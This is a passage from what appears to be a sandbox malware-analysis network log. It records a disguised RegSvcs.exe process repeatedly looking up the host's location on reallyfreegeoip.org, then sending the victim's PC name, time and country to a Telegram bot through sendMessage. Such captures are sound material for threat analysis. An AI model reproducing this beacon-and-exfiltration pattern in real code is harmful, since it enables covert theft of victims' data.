2024-09-19 10:21:14 UTC	704	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:14 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15030 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HkEVjIQ5N%2FXLL9ecJZXGLsEv46bfez7C6rfO8DwzS53nJohSVV92bB8MwdwDIZuslRCpdD181nThe3W1jrtvqOZBK6gFSefhW9TaphoNUadnx2QKUcB8xKx7VSC%2FaSD8SacodcvI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d9037a3641de-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:14 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49714	188.114.97.3	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:15 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-19 10:21:15 UTC	708	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:15 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15031 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qFKyWtqzp9kTAO5mXKkOI4IoPdm7HV6aNrdJkubp%2Fe0pwWGgNnvCEu3%2Fkkt%2FGIVpyAOSJpLQ5%2BVN13U4AAJ5ocrSm9xypdsSe7QO5iLPzaavZPY64iWOC7j39UZM2sKRhJrlSykI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d90bcdf91861-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:15 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49716	188.114.97.3	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:16 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-19 10:21:16 UTC	704	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:16 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15032 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vzlGvix4I%2B6ue5Go0TJXQW5usN65P3PDV1y1VljfVwMlBZHTKakfFRB8kCp9T3MIcIj1Vmut7xNscVNBqISZHV3eOFPhgnfXupqHskUIQJujuDK7Y1N%2Fd9rVOUq6h9HP9VcHcLc8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d913fbb442f7-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:16 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49718	188.114.97.3	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:17 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-19 10:21:18 UTC	706	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:18 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15034 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h6WrDumkUtRwOS8YUP2zPDH9aTaiCNN4StwCmkYAmFNxNaEeVH4r%2FufeHigV2b4KkKODTw1gx4t868%2FmsDVA7kWQJ5x8u76BGIo19x1hP1m7AYdOAgHXZBvIAh%2Bl2jGHCp1WjmV8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d91bfa64421d-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:18 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49721	188.114.97.3	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:19 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-19 10:21:19 UTC	706	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:19 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15035 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pawgnqt7m6026dRS%2FGGb7zzUgYet7ZJ2bpzarju3tgvN%2FKUxYuWCP3bWf%2Bfi32DTkuZ6wPcakUOIbihMx5jY1eO0yxbKkqF18UvOvaxzUEioSpAyMvOQWD2pzuYvzVqfYr8sKEsT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d925cc034267-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:19 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49722	188.114.97.3	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:20 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-19 10:21:20 UTC	712	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:20 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15036 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EJZGUxSLkjFF7Q6CoU6ah%2FV0YXQYbuQTtehbL0w770KDNsPB8%2FBx%2BRz0gqcjVLz%2BlV2%2BHkhfa2UL1hlBs64Y0Cq%2Ba14aOiMjFO7AdqIsGgpmVpJXtslNaGeVfqcnPsbO3TYx03M6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d928f82380d3-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:20 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49724	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:20 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:965543%0D%0ADate%20and%20Time:%2019/09/2024%20/%2018:25:46%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20965543%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-09-19 10:21:20 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:21:20 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:21:20 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49726	188.114.97.3	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:21 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-19 10:21:21 UTC	714	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:21 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15037 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q3HfqClCSDutT3iIVMDhBlXV%2F3o8d%2F6RpaBqk2Tsl9Ljn4FrgxlAx0NhfJchLOOqlCWqKZvKeT%2FkrMgVtw1X%2BvtfSljcWI9qt35v6XYt%2Fjq0I%2B00Wh9ZHMXcvzXhxYKkkrZEZY%2F5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d933daf117fd-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:21 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49729	188.114.97.3	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:23 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-19 10:21:23 UTC	714	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:23 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15039 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eq%2B0xPPNyxGrogH8oUXVfIuJUd%2B88jsMXkTh3zbzeHGnzZSznFaMEFlhpndGPS%2B9JGZ6y%2F8ui9ZOR%2BY0i59SykavzGE9cR74uOfPD4hf2GQEYE82vpFYVaLXH%2BPWevDt%2FRpUZDkQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d93e8d5c43f8-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:23 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49733	188.114.97.3	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:24 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-19 10:21:24 UTC	702	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:24 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15040 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jefl0WyMNW5ehSpmLw0w01lB8TSgtJD20Jhy4UBg6Fj547XjN38A14Izfk8dRIn2YU3iB7VBLTLFlMOfZIx65RjI53ks8JYCHIDSGtk8IaOPrDStpKnO4%2BXBun0ASiGBBiOVrb6g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d946cf0432d9-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:24 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49735	188.114.97.3	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:26 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-19 10:21:26 UTC	712	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:26 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15042 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2BSAMf0clIKj074PE0zjd13yvjQgu7gg%2F930JmTZ4GKWMlk0CkuIdQUtwVFDaFGuQgkeD3rqMjjuOmSquGqf%2BnJLy3yMbqSfx9zrh0%2B3AaUG%2BnOyB3DYTz32prd5krKL3%2F0QzWsS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d94f1b748cd7-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:26 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 